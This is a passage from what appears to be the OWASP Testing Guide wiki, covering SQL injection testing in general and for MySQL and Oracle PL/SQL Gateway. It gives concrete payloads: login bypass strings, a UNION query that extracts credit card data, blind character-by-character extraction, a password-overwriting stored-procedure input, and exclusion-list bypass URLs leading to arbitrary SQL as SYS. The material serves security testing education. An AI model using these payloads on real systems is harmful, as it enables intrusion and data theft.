depth depending primarily on the MySQL version the pentester is facing.

A good attack is to know the results by forcing a function/procedure
or the server itself to throw an error.
A list of errors thrown by MySQL and in particular native functions could
be found on [http://dev.mysql.com/doc/refman/5.0/en/error-messages-server.html MySQL Manual].

=== Out of band SQL Injection ===

Out of band injection could be accomplished by using the [[#Write_in_a_File|'into outfile']] clause.
=== Blind SQL Injection ===
For blind SQL injection, there is a set of useful function natively provided by MySQL server.

* String Length:
*: ''LENGTH(str)''
* Extract a substring from a given string:
*: ''SUBSTRING(string, offset, #chars_returned)''
* Time based Blind Injection: BENCHMARK and SLEEP
*: ''BENCHMARK(#ofcycles,action_to_be_performed )''
*: The benchmark function could be used to perform timing attacks, when blind injection by boolean values does not yield any results.
*: See. SLEEP() (MySQL > 5.0.x) for an alternative on benchmark.

For a complete list, refer to MySQL manual - http://dev.mysql.com/doc/refman/5.0/en/functions.html

== References ==
'''Whitepapers''' 
* Chris Anley: "Hackproofing MySQL" -http://www.nextgenss.com/papers/HackproofingMySQL.pdf

'''Case Studies''' 
* Zeelock: Blind Injection in MySQL Databases - http://archive.cert.uni-stuttgart.de/bugtraq/2005/02/msg00289.html

'''Tools''' 
* Francois Larouche: Multiple DBMS SQL Injection tool - http://www.sqlpowerinjector.com/index.htm 
* ilo--: MySQL Blind Injection Bruteforcing, Reversing.org - http://www.reversing.org/node/view/11 sqlbftools 
* Bernardo Damele A. G.: sqlmap, automatic SQL injection tool - http://sqlmap.sourceforge.net
* Antonio Parata: Dump Files by SQL inference on MySQL - http://www.ictsc.it/site/IT/projects/sqlDumper/sqldumper.src.tar.gz 
* Muhaimin Dzulfakar: MySqloit, MySql Injection takeover tool - http://code.google.com/p/mysqloit/

Testing for SQL Injection (OTG-INPVAL-005)

2012-04-29T13:43:58Z

Shady:

{{Template:OWASP Testing Guide v3}}

== Brief Summary ==

An [[SQL injection]] attack consists of insertion or "injection" of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file existing on the DBMS file system and, in some cases, issue commands to the operating system.
SQL injection attacks are a type of [[Top 10 2007-Injection Flaws | injection attack]], in which SQL commands are injected into data-plane input in order to affect the execution of predefined SQL commands.

==Related Security Activities==

===Description of SQL Injection Vulnerabilities===

See the OWASP article on [[SQL Injection]] Vulnerabilities.

See the OWASP article on [[Blind_SQL_Injection]] Vulnerabilities.

===How to Avoid SQL Injection Vulnerabilities===

See the [[:Category:OWASP Guide Project|OWASP Development Guide]] article on how to [[Guide to SQL Injection | Avoid SQL Injection]] Vulnerabilities.

See the [[:Category:OWASP Code Review Project|OWASP Code Review Guide]] article on how to [[Reviewing Code for SQL Injection|Review Code for SQL Injection]] Vulnerabilities.

See the OWASP Prevention Cheat Sheet Series article on [[SQL Injection Prevention Cheat Sheet | Preventing SQL Injection]]

[[Category:Security Focus Area]]
__NOTOC__

== Description of the Issue ==
SQL Injection attacks can be divided into the following three classes:
* Inband: data is extracted using the same channel that is used to inject the SQL code. This is the most straightforward kind of attack, in which the retrieved data is presented directly in the application web page.
* Out-of-band: data is retrieved using a different channel (e.g., an email with the results of the query is generated and sent to the tester).
* Inferential: there is no actual transfer of data, but the tester is able to reconstruct the information by sending particular requests and observing the resulting behaviour of the DB Server.

Independent of the attack class, a successful SQL Injection attack requires the attacker to craft a syntactically correct SQL Query. If the application returns an error message generated by an incorrect query, then it is easy to reconstruct the logic of the original query and, therefore, understand how to perform the injection correctly. However, if the application hides the error details, then the tester must be able to reverse engineer the logic of the original query. The latter case is known as "[[Blind SQL Injection]]".

== Black Box testing and example ==

=== SQL Injection Detection ===

The first step in this test is to understand when our application connects to a DB Server in order to access some data. Typical examples of cases when an application needs to talk to a DB include:
* Authentication forms: when authentication is performed using a web form, chances are that the user credentials are checked against a database that contains all usernames and passwords (or, better, password hashes)
* Search engines: the string submitted by the user could be used in a SQL query that extracts all relevant records from a database
* E-Commerce sites: the products and their characteristics (price, description, availability, ...) are very likely to be stored in a relational database.
The tester has to make a list of all input fields whose values could be used in crafting a SQL query, including the hidden fields of POST requests and then test them separately, trying to interfere with the query and to generate an error.
The very first test usually consists of adding a single quote (') or a semicolon (;) to the field under test. The first is used in SQL as a string terminator and, if not filtered by the application, would lead to an incorrect query. The second is used to end a SQL statement and, if it is not filtered, it is also likely to generate an error.
The output of a vulnerable field might resemble the following (on a Microsoft SQL Server, in this case):
<pre>
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the
character string ''.
/target/target.asp, line 113
</pre>
Also comments (--) and other SQL keywords like 'AND' and 'OR' can be used to try to modify the query. A very simple but sometimes still effective technique is simply to insert a string where a number is expected, as an error like the following might be generated:
<pre>
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
varchar value 'test' to a column of data type int.
/target/target.asp, line 113
</pre>
A full error message, like those in the examples, provides a wealth of information to the tester in order to mount a successful injection. However, applications often do not provide so much detail: a simple '500 Server Error' or a custom error page might be issued, meaning that we need to use blind injection techniques.
In any case, it is very important to test *each field separately*: only one variable must vary while all the other remain constant, in order to precisely understand which parameters are vulnerable and which are not.

=== Standard SQL Injection Testing ===

Consider the following SQL query:

SELECT * FROM Users WHERE Username='$username' AND Password='$password'

A similar query is generally used from the web application in order to authenticate a user. If the query returns a value it means that inside the database a user with that credentials exists, then the user is allowed to login to the system, otherwise the access is denied.
The values of the input fields are generally obtained from the user through a web form.
Suppose we insert the following Username and Password values:

$username = 1' or '1' = '1
$password = 1' or '1' = '1

The query will be:

<nowiki>SELECT * FROM Users WHERE Username='1' OR '1' = '1' AND Password='1' OR '1' = '1'</nowiki>
If we suppose that the values of the parameters are sent to the server through the GET method, and if the domain of the vulnerable web site is www.example.com, the request that we'll carry out will be:

<nowiki>http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1&password=1'%20or%20'1'%20=%20'1 </nowiki>

After a short analysis we notice that the query returns a value (or a set of values) because the condition is always true (OR 1=1). In this way the system has authenticated the user without knowing the username and password. ''In some systems the first row of a user table would be an administrator user. This may be the profile returned in some cases.''
Another example of query is the following:

SELECT * FROM Users WHERE ((Username='$username') AND (Password=MD5('$password')))

In this case, there are two problems, one due to the use of the parentheses and one due to the use of MD5 hash function.
First of all, we resolve the problem of the parentheses.
That simply consists of adding a number of closing parentheses until we obtain a corrected query. To resolve the second problem, we try to invalidate the second condition.
We add to our query a final symbol that means that a comment is beginning. In this way, everything that follows such symbol is considered a comment.
Every DBMS has its own symbols of comment, however, a common symbol to the greater part of the database is /*. In Oracle the symbol is "--".
This said, the values that we'll use as Username and Password are:

$username = 1' or '1' = '1'))/*
$password = foo

In this way, we'll get the following query:

SELECT * FROM Users WHERE ((Username='1' or '1' = '1'))/*') AND (Password=MD5('$password')))

The URL request will be:

<nowiki>http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))/*&password=foo </nowiki>

Which returns a number of values. Sometimes, the authentication code verifies that the number of returned tuple is exactly equal to 1. In the previous examples, this situation would be difficult (in the database there is only one value per user).
In order to go around this problem, it is enough to insert a SQL command that imposes the condition that the number of the returned tuple must be one. (One record returned)
In order to reach this goal, we use the operator "LIMIT <num>", where <num> is the number of the tuples that we expect to be returned. With respect to the previous example, the value of the fields Username and Password will be modified as follows:

$username = 1' or '1' = '1')) LIMIT 1/*
$password = foo

In this way, we create a request like the follow:

<nowiki>http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))%20LIMIT%201/*&password=foo </nowiki>

=== Union Query SQL Injection Testing ===
Another test involves the use of the UNION operator. This operator is used in SQL injections to join a query, purposely forged by the tester, to the original query. The result of the forged query will be joined to the result of the original query, allowing the tester to obtain the values of fields of other tables.
We suppose for our examples that the query executed from the server is the following:

SELECT Name, Phone, Address FROM Users WHERE Id=$id

We will set the following Id value:

$id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCarTable

We will have the following query:

SELECT Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCarTable

which will join the result of the original query with all the credit card users.
The keyword '''ALL''' is necessary to get around queries that use the keyword DISTINCT.
Moreover, we notice that beyond the credit card numbers, we have selected other two values. These two values are necessary, because the two query must have an equal number of parameters, in order to avoid a syntax error.

=== Blind SQL Injection Testing ===
We have pointed out that there is another category of SQL injection, called [[Blind SQL Injection]], in which nothing is known on the outcome of an operation. For example, this behavior happens in cases where the programmer has created a custom error page that does not reveal anything on the structure of the query or on the database. (The page does not return a SQL error, it may just return a HTTP 500).
 
By using the inference methods, it is possible to avoid this obstacle and thus to succeed to recover the values of some desired fields. This method consists of carrying out a series of boolean queries to the server, observing the answers and finally deducing the meaning of such answers.
We consider, as always, the www.example.com domain and we suppose that it contains a parameter named id vulnerable to SQL injection.
This means that carrying out the following request:

<nowiki>http://www.example.com/index.php?id=1' </nowiki>

we will get one page with a custom message error which is due to a syntactic error in the query. We suppose that the query executed on the server is:

SELECT field1, field2, field3 FROM Users WHERE Id='$Id'

which is exploitable through the methods seen previously.
What we want to obtain is the values of the username field. The tests that we will execute will allow us to obtain the value of the username field, extracting such value character by character. This is possible through the use of some standard functions, present practically in every database. For our examples, we will use the following pseudo-functions:

'''SUBSTRING (text, start, length)''': it returns a substring starting from the position "start" of text and of length "length". If "start" is greater than the length of text, the function returns a null value.

'''ASCII (char)''': it gives back ASCII value of the input character. A null value is returned if char is 0.

'''LENGTH (text)''': it gives back the length in characters of the input text.

Through such functions, we will execute our tests on the first character and, when we have discovered the value, we will pass to the second and so on, until we will have discovered the entire value.
The tests will take advantage of the function SUBSTRING, in order to select only one character at a time (selecting a single character means to impose the length parameter to 1), and the function ASCII, in order to obtain the ASCII value, so that we can do numerical comparison. The results of the comparison will be done with all the values of the ASCII table, until the right value is found.
As an example, we will use the following value for ''Id'':

$Id=1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1

that creates the following query (from now on, we will call it "inferential query"):

SELECT field1, field2, field3 FROM Users WHERE Id='1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1'

The previous example returns a result if and only if the first character of the field username is equal to the ASCII value 97. If we get a false value, then we increase the index of the ASCII table from 97 to 98 and we repeat the request. If instead we obtain a true value, we set to zero the index of the ASCII table and we analyze the next character, modifying the parameters of the SUBSTRING function.
The problem is to understand in which way we can distinguish tests returning a true value from those that return false.
To do this, we create a query that always returns false.
This is possible by using the following value for ''Id'':

$Id=1' AND '1' = '2

by which will create the following query:

SELECT field1, field2, field3 FROM Users WHERE Id='1' AND '1' = '2'

The obtained response from the server (that is HTML code) will be the false value for our tests.
This is enough to verify whether the value obtained from the execution of the inferential query is equal to the value obtained with the test executed before.
Sometimes, this method does not work. If the server returns two different pages as a result of two identical consecutive web requests, we will not be able to discriminate the true value from the false value. In these particular cases, it is necessary to use particular filters that allow us to eliminate the code that changes between the two requests and to obtain a template. Later on, for every inferential request executed, we will extract the relative template from the response using the same function, and we will perform a control between the two templates in order to decide the result of the test.

In the previous discussion, we haven't dealt with the problem of determining the termination condition for out tests, i.e., when we should end the inference procedure.
A techniques to do this uses one characteristic of the SUBSTRING function and the LENGTH function.
When the test compares the current character with the ASCII code 0 (i.e., the value null) and the test returns the value true, then either we are done with the inference procedue (we have scanned the whole string), or the value we have analyzed contains the null character.

We will insert the following value for the field ''Id'':

$Id=1' AND LENGTH(username)=N AND '1' = '1

Where N is the number of characters that we have analyzed up to now (not counting the null value).
The query will be:

SELECT field1, field2, field3 FROM Users WHERE Id='1' AND LENGTH(username)=N AND '1' = '1'

The query returns either true or false. If we obtain true, then we have completed inference and, therefore, we know the value of the parameter. If we obtain false, this means that the null character is present in the value of the parameter, and we must continue to analyze the next parameter until we find another null value.

The blind SQL injection attack needs a high volume of queries. The tester may need an automatic tool to exploit the vulnerability.
A simple tool which performs this task, via GET requests on the MySql DB, is SqlDumper, which is shown below.

[[Image:sqldumper.jpg]]

=== Stored Procedure Injection ===
Question: How can the risk of SQL injection be eliminated? 
Answer: Stored procedures. 
I have seen this answer too many times without qualifications. Merely the use of stored procedures does not assist in the mitigation of SQL injection. If not handled properly, dynamic SQL within stored procedures can be just as vulnerable to SQL injection as dynamic SQL within a web page. 
When using dynamic SQL within a stored procedure, the application must properly sanitize the user input to eliminate the risk of code injection. If not sanitized, the user could enter malicious SQL that will be executed within the stored procedure. 

Black box testing uses SQL injection to compromise the system.
 
Consider the following SQL Server Stored Procedure: 
Create procedure user_login @username varchar(20), @passwd varchar(20) As
Declare @sqlstring varchar(250)
Set @sqlstring = ‘
Select 1 from users
Where username = ‘ + @username + ‘ and passwd = ‘ + @passwd
exec(@sqlstring)
Go
User input: 
anyusername or 1=1'
anypassword
This procedure does not sanitize the input, therefore allowing the return value to show an existing record with these parameters. 
NOTE: This example may seem unlikely due to the use of dynamic SQL to log in a user, but consider a dynamic reporting query where the user selects the columns to view. The user could insert malicious code into this scenario and compromise the data.
 
Consider the following SQL Server Stored Procedure: 
Create procedure get_report @columnamelist varchar(7900) As
Declare @sqlstring varchar(8000)
Set @sqlstring = ‘
Select ‘ + @columnamelist + ‘ from ReportTable‘
exec(@sqlstring)
Go
User input: 
1 from users; update users set password = 'password'; select *

This will result in the report running and all users’ passwords being updated.
 

== Related Articles ==

* [[Top 10 2007-Injection Flaws]]
* [[SQL Injection]]

Technology specific Testing Guide pages have been created for the following DBMSs:

* [[Testing for Oracle| Oracle]]
* [[Testing for MySQL| MySQL]]
* [[Testing for SQL Server | SQL Server]]

== References ==

'''Whitepapers''' 

* Victor Chapela: "Advanced SQL Injection" - http://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt
* Chris Anley: "Advanced SQL Injection In SQL Server Applications" - http://www.nextgenss.com/papers/advanced_sql_injection.pdf
* Chris Anley: "More Advanced SQL Injection" - http://www.nextgenss.com/papers/more_advanced_sql_injection.pdf
* David Litchfield: "Data-mining with SQL Injection and Inference" - http://www.nextgenss.com/research/papers/sqlinference.pdf
* Imperva: "Blind SQL Injection" - http://www.imperva.com/application_defense_center/white_papers/blind_sql_server_injection.html
* Ferruh Mavituna: "SQL Injection Cheat Sheet" - http://ferruh.mavituna.com/makale/sql-injection-cheatsheet/
* Kevin Spett from SPI Dynamics: "SQL Injection" - http://packetstorm.codar.com.br/papers/general/SQLInjectionWhitePaper.pdf
* Kevin Spett from SPI Dynamics: "Blind SQL Injection" - http://www.net-security.org/dl/articles/Blind_SQLInjection.pdf

'''Tools''' 
* SQL Injection Fuzz Strings (from wfuzz tool) - http://yehg.net/lab/pr0js/pentest/wordlists/injections/SQL.txt
* [[:Category:OWASP SQLiX Project|OWASP SQLiX]]
* Francois Larouche: Multiple DBMS SQL Injection tool - [http://www.sqlpowerinjector.com/index.htm SQL Power Injector] 
* ilo--: MySql Blind Injection Bruteforcing, Reversing.org - [http://www.reversing.org/node/view/11 sqlbftools] 
* Bernardo Damele A. G.: sqlmap, automatic SQL injection tool - http://sqlmap.sourceforge.net
* icesurfer: SQL Server Takeover Tool - [http://sqlninja.sourceforge.net sqlninja]
* Pangolin: Automated SQL Injection Tool - [http://www.nosec.org/en/pangolin.html Pangolin]
* Muhaimin Dzulfakar: MySqloit, MySql Injection takeover tool - http://code.google.com/p/mysqloit/
* Antonio Parata: Dump Files by SQL inference on Mysql - [http://www.ictsc.it/site/IT/projects/sqlDumper/sqldumper.src.tar.gz SqlDumper]

Testing for Oracle

2012-04-29T13:33:12Z

Shady:

{{Template:OWASP Testing Guide v3}}

== Brief Summary ==

This section describes how to test an Oracle DB from the web.

== Description of the Issue ==

Web based PL/SQL applications are enabled by the PL/SQL Gateway, which is is the component that translates web requests into database queries. Oracle has developed a number of software implementations, ranging from the early web listener product to the Apache mod_plsql module to the XML Database (XDB) web server. All have their own quirks and issues, each of which will be thoroughly investigated in this chapter. Products that use the PL/SQL Gateway include, but are not limited to, the Oracle HTTP Server, eBusiness Suite, Portal, HTMLDB, WebDB and Oracle Application Server.
 

== Black Box testing and example ==

===Understanding how the PL/SQL Gateway works===

Essentially the PL/SQL Gateway simply acts as a proxy server taking the user's web request and passes it on to the database server where it is executed.

# The web server accepts a request from a web client and determines if it should be processed by the PL/SQL Gateway.
# The PL/SQL Gateway processes the request by extracting the requested package name, procedure, and variables.
# The requested package and procedure are wrapped in a block of anonymous PL/SQL, and sent to the database server.
# The database server executes the procedure and sends the results back to the Gateway as HTML.
# The gateway sends the response, via the web server, back to the client.

Understanding this point is important - the PL/SQL code does not exist on the web server but, rather, in the database server. This means that any weaknesses in the PL/SQL Gateway or any weaknesses in the PL/SQL application, when exploited, give an attacker direct access to the database server; no amount of firewalls will prevent this.

URLs for PL/SQL web applications are normally easily recognizable and generally start with the following (xyz can be any string and represents a Database Access Descriptor, which you will learn more about later):

<nowiki>http://www.example.com/pls/xyz</nowiki>
<nowiki>http://www.example.com/xyz/owa</nowiki>
<nowiki>http://www.example.com/xyz/plsql</nowiki>

While the second and third of these examples represent URLs from older versions of the PL/SQL Gateway, the first is from more recent versions running on Apache. In the plsql.conf Apache configuration file, /pls is the default, specified as a Location with the PLS module as the handler. The location need not be /pls, however. The absence of a file extension in a URL could indicate the presence of the Oracle PL/SQL Gateway. Consider the following URL:

<nowiki>http://www.server.com/aaa/bbb/xxxxx.yyyyy</nowiki>

If xxxxx.yyyyy were replaced with something along the lines of “ebank.home,” “store.welcome,” “auth.login,” or “books.search,” then there’s a fairly strong chance that the PL/SQL Gateway is being used. It is also possible to precede the requested package and procedure with the name of the user that owns it - i.e. the schema - in this case the user is "webuser":

<nowiki>http://www.server.com/pls/xyz/webuser.pkg.proc</nowiki>

In this URL, xyz is the Database Access Descriptor, or DAD. A DAD specifies information about the database server so that the PL/SQL Gateway can connect. It contains information such as the TNS connect string, the user ID and password, authentication methods, and so on. These DADs are specified in the dads.conf Apache configuration file in more recent versions or the wdbsvr.app file in older versions. Some default DADs include the following:

SIMPLEDAD
HTMLDB
ORASSO
SSODAD
PORTAL
PORTAL2
PORTAL30
PORTAL30_SSO
TEST
DAD
APP
ONLINE
DB
OWA

'''Determining if the PL/SQL Gateway is running''' 
When performing an assessment against a server, it's important first to know what technology you're actually dealing with. If you don't already know, for example, in a black box assessment scenario, then the first thing you need to do is work this out. Recognizing a web based PL/SQL application is pretty easy. First, there is the format of the URL and what it looks like, discussed above. Beyond that there are a set of simple tests that can be performed to test for the existence of the PL/SQL Gateway.

'''Server response headers''' 
The web server's response headers are a good indicator as to whether the server is running the PL/SQL Gateway. The table below lists some of the typical server response headers:

Oracle-Application-Server-10g
Oracle-Application-Server-10g/10.1.2.0.0 Oracle-HTTP-Server
Oracle-Application-Server-10g/9.0.4.1.0 Oracle-HTTP-Server
Oracle-Application-Server-10g OracleAS-Web-Cache-10g/9.0.4.2.0 (N)
Oracle-Application-Server-10g/9.0.4.0.0
Oracle HTTP Server Powered by Apache
Oracle HTTP Server Powered by Apache/1.3.19 (Unix) mod_plsql/3.0.9.8.3a
Oracle HTTP Server Powered by Apache/1.3.19 (Unix) mod_plsql/3.0.9.8.3d
Oracle HTTP Server Powered by Apache/1.3.12 (Unix) mod_plsql/3.0.9.8.5e
Oracle HTTP Server Powered by Apache/1.3.12 (Win32) mod_plsql/3.0.9.8.5e
Oracle HTTP Server Powered by Apache/1.3.19 (Win32) mod_plsql/3.0.9.8.3c
Oracle HTTP Server Powered by Apache/1.3.22 (Unix) mod_plsql/3.0.9.8.3b
Oracle HTTP Server Powered by Apache/1.3.22 (Unix) mod_plsql/9.0.2.0.0
Oracle_Web_Listener/4.0.7.1.0EnterpriseEdition
Oracle_Web_Listener/4.0.8.2EnterpriseEdition
Oracle_Web_Listener/4.0.8.1.0EnterpriseEdition
Oracle_Web_listener3.0.2.0.0/2.14FC1
Oracle9iAS/9.0.2 Oracle HTTP Server
Oracle9iAS/9.0.3.1 Oracle HTTP Server

'''The NULL test''' 
In PL/SQL, "null" is a perfectly acceptable expression:

SQL> BEGIN
2 NULL;
3 END;
4 /

PL/SQL procedure successfully completed.

We can use this to test if the server is running the PL/SQL Gateway. Simply take the DAD and append NULL, then append NOSUCHPROC:

<nowiki>http://www.example.com/pls/dad/null</nowiki>
<nowiki>http://www.example.com/pls/dad/nosuchproc</nowiki>

If the server responds with a 200 OK response for the first and a 404 Not Found for the second then it indicates that the server is running the PL/SQL Gateway.

'''Known package access''' 
On older versions of the PL/SQL Gateway, it is possible to directly access the packages that form the PL/SQL Web Toolkit such as the OWA and HTP packages. One of these packages is the OWA_UTIL package, which we'll speak about more later on. This package contains a procedure called SIGNATURE and it simply outputs in HTML a PL/SQL signature. Thus requesting

<nowiki>http://www.example.com/pls/dad/owa_util.signature</nowiki>

returns the following output on the webpage

"This page was produced by the PL/SQL Web Toolkit on date"

or

"This page was produced by the PL/SQL Cartridge on date"

If you don't get this response but a 403 Forbidden response then you can infer that the PL/SQL Gateway is running. This is the response you should get in later versions or patched systems.

'''Accessing Arbitrary PL/SQL Packages in the Database''' 
It is possible to exploit vulnerabilities in the PL/SQL packages that are installed by default in the database server. How you do this depends on the version of the PL/SQL Gateway. In earlier versions of the PL/SQL Gateway, there was nothing to stop an attacker from accessing an arbitrary PL/SQL package in the database server. We mentioned the OWA_UTIL package earlier. This can be used to run arbitrary SQL queries:

<nowiki>http://www.example.com/pls/dad/OWA_UTIL.CELLSPRINT? P_THEQUERY=SELECT+USERNAME+FROM+ALL_USERS</nowiki>

Cross Site Scripting attacks could be launched via the HTP package:

<nowiki>http://www.example.com/pls/dad/HTP.PRINT?CBUF=<script>alert('XSS')</script></nowiki>

Clearly, this is dangerous, so Oracle introduced a PLSQL Exclusion list to prevent direct access to such dangerous procedures. Banned items include any request starting with SYS.*, any request starting with DBMS_*, any request with HTP.* or OWA*. It is possible to bypass the exclusion list however. What's more, the exclusion list does not prevent access to packages in the CTXSYS and MDSYS schemas or others, so it is possible to exploit flaws in these packages:

<nowiki>http://www.example.com/pls/dad/CXTSYS.DRILOAD.VALIDATE_STMT?SQLSTMT=SELECT+1+FROM+DUAL</nowiki>

This will return a blank HTML page with a 200 OK response if the database server is still vulnerable to this flaw (CVE-2006-0265)

===Testing the PL/SQL Gateway For Flaws===

Over the years, the Oracle PL/SQL Gateway has suffered from a number of flaws, including access to admin pages (CVE-2002-0561), buffer overflows (CVE-2002-0559), directory traversal bugs, and vulnerabilities that allow attackers to bypass the Exclusion List and go on to access and execute arbitrary PL/SQL packages in the database server.

'''Bypassing the PL/SQL Exclusion List''' 
It is incredible how many times Oracle has attempted to fix flaws that allow attackers to bypass the exclusion list. Each patch that Oracle has produced has fallen victim to a new bypass technique. The history of this sorry story can be found here: http://seclists.org/fulldisclosure/2006/Feb/0011.html

'''Bypassing the Exclusion List - Method 1''' 
When Oracle first introduced the PL/SQL Exclusion List to prevent attackers from accessing arbitrary PL/SQL packages, it could be trivially bypassed by preceding the name of the schema/package with a hex encoded newline character or space or tab:

<nowiki>http://www.example.com/pls/dad/%0ASYS.PACKAGE.PROC</nowiki>
<nowiki>http://www.example.com/pls/dad/%20SYS.PACKAGE.PROC</nowiki>
<nowiki>http://www.example.com/pls/dad/%09SYS.PACKAGE.PROC</nowiki>

'''Bypassing the Exclusion List - Method 2''' 
Later versions of the Gateway allowed attackers to bypass the exclusion list by preceding the name of the schema/package with a label. In PL/SQL a label points to a line of code that can be jumped to using the GOTO statement and takes the following form: <<NAME>>

<nowiki>http://www.example.com/pls/dad/<<LBL>>SYS.PACKAGE.PROC</nowiki>

'''Bypassing the Exclusion List - Method 3''' 
Simply placing the name of the schema/package in double quotes could allow an attacker to bypass the exclusion list. Note that this will not work on Oracle Application Server 10g as it converts the user's request to lowercase before sending it to the database server and a quote literal is case sensitive - thus "SYS" and "sys" are not the same and requests for the latter will result in a 404 Not Found. On earlier versions though the following can bypass the exclusion list:

<nowiki>http://www.example.com/pls/dad/"SYS".PACKAGE.PROC</nowiki>

'''Bypassing the Exclusion List - Method 4''' 
Depending upon the character set in use on the web server and on the database server, some characters are translated. Thus, depending upon the character sets in use, the "ÿ" character (0xFF) might be converted to a "Y" at the database server. Another character that is often converted to an upper case "Y" is the Macron character - 0xAF. This may allow an attacker to bypass the exclusion list:

<nowiki>http://www.example.com/pls/dad/S%FFS.PACKAGE.PROC</nowiki>
<nowiki>http://www.example.com/pls/dad/S%AFS.PACKAGE.PROC</nowiki>

'''Bypassing the Exclusion List - Method 5''' 
Some versions of the PL/SQL Gateway allow the exclusion list to be bypassed with a backslash - 0x5C:

<nowiki>http://www.example.com/pls/dad/%5CSYS.PACKAGE.PROC</nowiki>

'''Bypassing the Exclusion List - Method 6''' 
This is the most complex method of bypassing the exclusion list and is the most recently patched method. If we were to request the following

<nowiki>http://www.example.com/pls/dad/foo.bar?xyz=123</nowiki>

the application server would execute the following at the database server:

1 declare
2 rc__ number;
3 start_time__ binary_integer;
4 simple_list__ owa_util.vc_arr;
5 complex_list__ owa_util.vc_arr;
6 begin
7 start_time__ := dbms_utility.get_time;
8 owa.init_cgi_env(:n__,:nm__,:v__);
9 htp.HTBUF_LEN := 255;
10 null;
11 null;
12 simple_list__(1) := 'sys.%';
13 simple_list__(2) := 'dbms\_%';
14 simple_list__(3) := 'utl\_%';
15 simple_list__(4) := 'owa\_%';
16 simple_list__(5) := 'owa.%';
17 simple_list__(6) := 'htp.%';
18 simple_list__(7) := 'htf.%';
19 if ((owa_match.match_pattern('foo.bar', simple_list__, complex_list__, true))) then
20 rc__ := 2;
21 else
22 null;
23 orasso.wpg_session.init();
24 foo.bar(XYZ=>:XYZ);
25 if (wpg_docload.is_file_download) then
26 rc__ := 1;
27 wpg_docload.get_download_file(:doc_info);
28 orasso.wpg_session.deinit();
29 null;
30 null;
31 commit;
32 else
33 rc__ := 0;
34 orasso.wpg_session.deinit();
35 null;
36 null;
37 commit;
38 owa.get_page(:data__,:ndata__);
39 end if;
40 end if;
41 :rc__ := rc__;
42 :db_proc_time__ := dbms_utility.get_time—start_time__;
43 end;

Notice lines 19 and 24. On line 19, the user’s request is checked against a list of known “bad” strings, i.e., the exclusion list. If the requested package and procedure do not contain bad strings, then the procedure is executed on line 24. The XYZ parameter is passed as a bind variable.

If we then request the following:

<nowiki>http://server.example.com/pls/dad/INJECT'POINT </nowiki>

the following PL/SQL is executed:

..
18 simple_list__(7) := 'htf.%';
19 if ((owa_match.match_pattern('inject'point', simple_list__, complex_list__, true))) then
20 rc__ := 2;
21 else
22 null;
23 orasso.wpg_session.init();
24 inject'point;
..

This generates an error in the error log: “PLS-00103: Encountered the symbol ‘POINT’ when expecting one of the following. . .” What we have here is a way to inject arbitrary SQL. This can be exploited to bypass the exclusion list. First, the attacker needs to find a PL/SQL procedure that takes no parameters and doesn't match anything in the exclusion list. There are a good number of default packages that match this criteria, for example:

JAVA_AUTONOMOUS_TRANSACTION.PUSH
XMLGEN.USELOWERCASETAGNAMES
PORTAL.WWV_HTP.CENTERCLOSE
ORASSO.HOME
WWC_VERSION.GET_HTTP_DATABASE_INFO

An attacker should pick one of these functions that is actually available on the target system (i.e., returns a 200 OK when requested). As a test, an attacker can request

<nowiki>http://server.example.com/pls/dad/orasso.home?FOO=BAR</nowiki>

the server should return a “404 File Not Found” response because the orasso.home procedure does not require parameters and one has been supplied. However, before the 404 is returned, the following PL/SQL is executed:

..
..
if ((owa_match.match_pattern('orasso.home', simple_list__, complex_list__, true))) then
rc__ := 2;
else
null;
orasso.wpg_session.init();
orasso.home(FOO=>:FOO);
..
..

Note the presence of FOO in the attacker’s query string. Attackers can abuse this to run arbitrary SQL. First, they need to close the brackets:

<nowiki>http://server.example.com/pls/dad/orasso.home?);--=BAR</nowiki>

This results in the following PL/SQL being executed:

..
orasso.home();--=>:);--);
..

Note that everything after the double minus (--) is treated as a comment. This request will cause an internal server error because one of the bind variables is no longer used, so the attacker needs to add it back. As it happens, it’s this bind variable that is the key to running arbitrary PL/SQL. For the moment, they can just use HTP.PRINT to print BAR, and add the needed bind variable as :1:

<nowiki>http://server.example.com/pls/dad/orasso.home?);HTP.PRINT(:1);--=BAR</nowiki>

This should return a 200 with the word “BAR” in the HTML. What’s happening here is that everything after the equals sign - BAR in this case - is the data inserted into the bind variable. Using the same technique it’s possible to also gain access to owa_util.cellsprint again:

<nowiki>http://www.example.com/pls/dad/orasso.home?);OWA_UTIL.CELLSPRINT(:1);--=SELECT+USERNAME+FROM+ALL_USERS</nowiki>

To execute arbitrary SQL, including DML and DDL statements, the attacker inserts an execute immediate :1:

<nowiki>http://server.example.com/pls/dad/orasso.home?);execute%20immediate%20:1;--=select%201%20from%20dual</nowiki>

Note that the output won’t be displayed. This can be leveraged to exploit any PL/SQL injection bugs owned by SYS, thus enabling an attacker to gain complete control of the backend database server. For example, the following URL takes advantage of the SQL injection flaws in DBMS_EXPORT_EXTENSION (see http://secunia.com/advisories/19860)

<nowiki>http://www.example.com/pls/dad/orasso.home?);
execute%20immediate%20:1;--=DECLARE%20BUF%20VARCHAR2(2000);%20BEGIN%20
BUF:=SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES
('INDEX_NAME','INDEX_SCHEMA','DBMS_OUTPUT.PUT_LINE(:p1);
EXECUTE%20IMMEDIATE%20''CREATE%20OR%20REPLACE%20
PUBLIC%20SYNONYM%20BREAKABLE%20FOR%20SYS.OWA_UTIL'';
END;--','SYS',1,'VER',0);END;</nowiki>

===Assessing Custom PL/SQL Web Applications===

During black box security assessments, the code of the custom PL/SQL application is not available, but it still needs to be assessed for security vulnerabilities.

'''Testing for SQL Injection''' 
